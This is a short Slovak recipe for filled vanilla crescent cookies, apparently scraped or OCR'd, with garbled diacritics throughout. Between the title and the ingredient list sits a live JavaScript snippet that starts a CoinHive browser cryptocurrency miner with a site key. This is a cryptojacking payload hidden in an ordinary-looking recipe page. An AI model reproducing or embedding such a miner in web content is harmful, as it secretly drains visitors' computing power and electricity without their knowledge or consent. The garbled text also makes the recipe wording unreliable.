PLNENE VANILKOVE ROZKY

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Suroviny: 400g muky Promix Uni, 1 Hera, 6 lyzic kyslého mlieka, praskovy a vanilkovy cukor na
obalovanie. VSetky suroviny zmieSame a nechame odstat v chlade, najlepsie 24 hodin. Potom
cesto vyvalkame a nakrajame na Stvorce 5 x 5 cm, naplnime ich lekvarovou, orechovou a alebo
inou plnkou. S cestom treba pracovat opatrne, pretoze je krehké. Po naplneni rozky sto¢ime,
nepotreté ich peCieme na plechu doruzova v stredne vyhriatej rire. Po upec€eni rozky obalime v
zmesi praskoveého a vanilkového cukru.

Sladkeé pokusenie od Moniky.




